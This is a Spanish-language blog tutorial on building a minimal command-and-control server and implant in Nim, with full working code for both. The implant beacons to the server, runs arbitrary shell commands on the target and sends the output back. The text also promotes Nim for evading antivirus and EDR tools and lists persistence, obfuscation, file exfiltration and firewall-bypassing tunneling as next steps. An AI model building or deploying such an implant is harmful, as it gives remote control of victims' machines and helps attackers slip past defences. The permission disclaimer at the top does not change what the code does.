# Disclaimer: Úsalo solo en entornos que controles o tengas permiso explícito. Ya sabes, ética y esas cosas aburridas pero necesarias.
¿Por Qué Nim? (Y Por Qué Deberías Prestarle Atención)
Probablemente estés pensando: "¿Nim? ¿No es ese lenguaje que nadie usa?". Bueno, sí y no. En el mundo del red teaming, Nim se está convirtiendo en el chico cool del barrio por varias razones:
Binarios pequeños: Tu implant no pesará como si estuvieras distribuyendo Node.js
Sintaxis agradable: Es como Python pero que compila a C, dándote lo mejor de ambos mundos
Evasión de AV: Los antivirus están entrenados para detectar C#, PowerShell, y Python. Nim todavía vuela bajo el radar
Interoperabilidad con C: Puedes llamar a las APIs de Windows sin venderte el alma al diablo
Así que sí, vamos a hacer un C2. No pretendo replicar Cobalt Strike, pero sí algo funcional, elegante y que demuestre el poder real de Nim en el mundo de la seguridad ofensiva.
¿Qué Vamos a Construir?
Un C2 (Command and Control) es básicamente un servidor que le dice a tus agentes (implants) qué hacer, y ellos obedecen como buenos soldaditos digitales. Piensa en ello como un chat muy aburrido donde tú escribes comandos y la computadora víctima responde con resultados.
Arquitectura simplificada:
- Un servidor que escucha y envía comandos
- Un agente que se ejecuta en el "target" y hace lo que le pidas
- Comunicación entre ambos (porque telepatía computacional todavía no existe)
No vamos a reinventar la rueda aquí. Esto es un C2 minimalista, funcional, educativo. Si quieres pivoting, módulos post-explotación y un GUI con temas oscuros, te toca a ti mejorarlo después.
El Servidor: Tu Centro de Operaciones
Primero necesitamos algo que escuche conexiones. Vamos a usar HTTP porque es simple y no levanta tantas sospechas (spoiler: todo el mundo usa HTTPS, pero este es un ejemplo educativo).
import asynchttpserver, asyncdispatch, strutils, tables, times
type
Agent = object
id: string
lastSeen: Time
pendingCommand: string
var agents {.threadvar.}: Table[string, Agent]
proc initAgents() =
agents = initTable[string, Agent]()
proc handleRequest(req: Request) {.async, gcsafe.} =
case req.reqMethod:
of HttpGet:
# Agente pidiendo comandos
let agentId = req.url.path.strip(chars = {'/'})
if agentId in agents:
agents[agentId].lastSeen = getTime()
if agents[agentId].pendingCommand.len > 0:
let cmd = agents[agentId].pendingCommand
agents[agentId].pendingCommand = ""
await req.respond(Http200, cmd)
else:
await req.respond(Http200, "idle")
else:
# Nuevo agente registrándose
agents[agentId] = Agent(id: agentId, lastSeen: getTime(), pendingCommand: "")
echo "[+] Nuevo agente conectado: ", agentId
await req.respond(Http200, "registered")
of HttpPost:
# Agente enviando resultados
let agentId = req.url.path.strip(chars = {'/'})
let output = req.body
echo "\n[", agentId, "] Resultado:\n", output
await req.respond(Http200, "received")
else:
await req.respond(Http400, "nope")
proc commandLoop() {.async.} =
while true:
await sleepAsync(100)
stdout.write("C2> ")
stdout.flushFile()
var input = ""
try:
input = stdin.readLine()
except EOFError:
continue
if input.len == 0:
continue
let parts = input.split(" ", 1)
if parts.len < 2 or parts[0].len == 0:
echo "Uso: <agent_id> <comando>"
echo "Agentes activos:"
for id in agents.keys:
echo " - ", id
continue
let agentId = parts[0]
let command = parts[1]
if agentId in agents:
agents[agentId].pendingCommand = command
echo "[+] Comando para ", agentId
else:
echo "[-] Agente no encontrado"
proc main() =
initAgents()
echo """
╔═══════════════════════════════════╗
║ Mini C2 Server - Nim Edition ║
║ (Use responsibly, or else) ║
╚═══════════════════════════════════╝
"""
echo "[*] Servidor escuchando en puerto 8080..."
let server = newAsyncHttpServer()
asyncCheck server.serve(Port(8080), handleRequest)
asyncCheck commandLoop()
runForever()
when isMainModule:
main()
¿Qué hace este código?
- Escucha en el puerto 8080 (super predecible)
- Los agentes se registran haciendo GET con su ID
- Tú envías comandos escribiendo
- El agente recoge el comando y envía los resultados por POST
Sí, lo sé, no hay autenticación, no hay encriptación, un niño de 12 años con Wireshark vería todo. Pero hey, es un punto de partida.
El Agente: Tu Espía Digital
Ahora la parte divertida: el implant que va a ejecutarse en el objetivo.
nimimport httpclient, os, osproc, strutils, times, random
const
SERVER = "http://localhost:8080"
SLEEP_TIME = 5000 # 5 segundos entre callbacks
proc generateId(): string =
# ID único basado en timestamp y random
randomize()
result = "agent_" & $getTime().toUnix() & "_" & $rand(9999)
proc executeCommand(cmd: string): string =
try:
when defined(windows):
result = execProcess("cmd.exe /c " & cmd)
else:
result = execProcess(cmd)
if result.len == 0:
result = "[Comando ejecutado sin salida]"
except:
result = "Error ejecutando: " & getCurrentExceptionMsg()
proc beacon() =
var agentId = generateId()
echo "[*] Iniciando agente: ", agentId
var registered = false
while true:
try:
let client = newHttpClient(timeout = 10000)
if not registered:
# Registro inicial
discard client.getContent(SERVER & "/" & agentId)
registered = true
echo "[+] Registrado en el servidor"
# Pedir comandos
let response = client.getContent(SERVER & "/" & agentId)
if response == "idle":
# No hay nada que hacer
sleep(SLEEP_TIME)
client.close()
continue
if response == "registered":
# Ya estamos registrados, continuar
sleep(SLEEP_TIME)
client.close()
continue
# Ejecutar comando
echo "[*] Ejecutando: ", response
let output = executeCommand(response)
# Enviar resultados
discard client.postContent(SERVER & "/" & agentId, output)
echo "[+] Resultado enviado"
client.close()
except:
echo "[-] Error de conexión: ", getCurrentExceptionMsg()
registered = false # Intentar re-registro
sleep(SLEEP_TIME * 2)
sleep(SLEEP_TIME)
when isMainModule:
beacon()
Lo que hace el agente:
- Se genera un ID único (hostname + timestamp porque soy creativo)
- Se registra en el servidor
- Cada 5 segundos pregunta "¿hay algo para mí?"
- Si hay comando, lo ejecuta y devuelve el resultado
- Repite hasta el infinito (o hasta que lo mates)
Prueba esta belleza..
Terminal 1 - Servidor:
nim c -r server.nim
Terminal 2 - Agente:
nim c -r agent.nim
Terminal 1 (de nuevo):
C2> mi-laptop_1234567890 whoami
[+] Comando para mi-laptop_1234567890
[mi-laptop_1234567890] Resultado:
u-usuario
¡Boom! Tu primer C2 funcionando. Admite que se siente bien.
Mejoras Obvias (Que Te Toca Hacer a Ti) Este código es básico a propósito. Si realmente quieres usarlo para algo serio (en un entorno legal, ¿verdad?), considera:
- Encriptación: Agrega HTTPS y/o encripta los comandos. AES es tu amigo
- Ofuscación: Ofusca strings, nombres de funciones, y el binario completo
- Persistencia: Haz que el agente sobreviva reinicios (registry, scheduled tasks, etc.)
- Multi-comando: Soporte para múltiples comandos sin bloquear
- Exfiltración de archivos: Porque a veces quieres más que texto
- Jitter: Randomiza los tiempos de callback para evitar patrones detectables
- Domain fronting/DNS tunneling: Para bypasear firewalls molestos
¿Por Qué Esto Funciona Mejor en Nim?
Compila tu agente y mira el tamaño:
nim c -d:release --opt:size agent.nim
ls -lh agent
Probablemente verás algo como 200-300KB. Compáralo con un ejecutable de Go (varios MB) o un script Python empaquetado con PyInstaller (decenas de MB). Nim te da el rendimiento de C con la comodidad de un lenguaje moderno.
Además, los EDR/AV todavía no tienen muchas firmas para Nim. Obviamente esto cambiará con el tiempo, pero por ahora es una ventaja.
Palabras Finales
Has construido un C2 funcional en menos de 150 líneas de código. ¿Es Cobalt Strike? No. ¿Es Sliver? Tampoco. Pero es tuyo, lo entiendes completamente, y te costó $0.
Nim es una herramienta poderosa para seguridad ofensiva que no está recibiendo toda la atención que merece. Si estás cansado de los mismos lenguajes de siempre, dale una oportunidad.
Y recuerda: con gran poder viene gran... ya sabes el resto. No seas malvado. O al menos no me menciones si lo eres.
Recursos:
- Nim Documentation
- OffensiveNim
- Nim for Windows Exploitation
¿Preguntas? ¿Mejoras? ¿Quejas? Déjalas en los comentarios. O no, también está bien.
Happy hacking!!!
Top comments (0)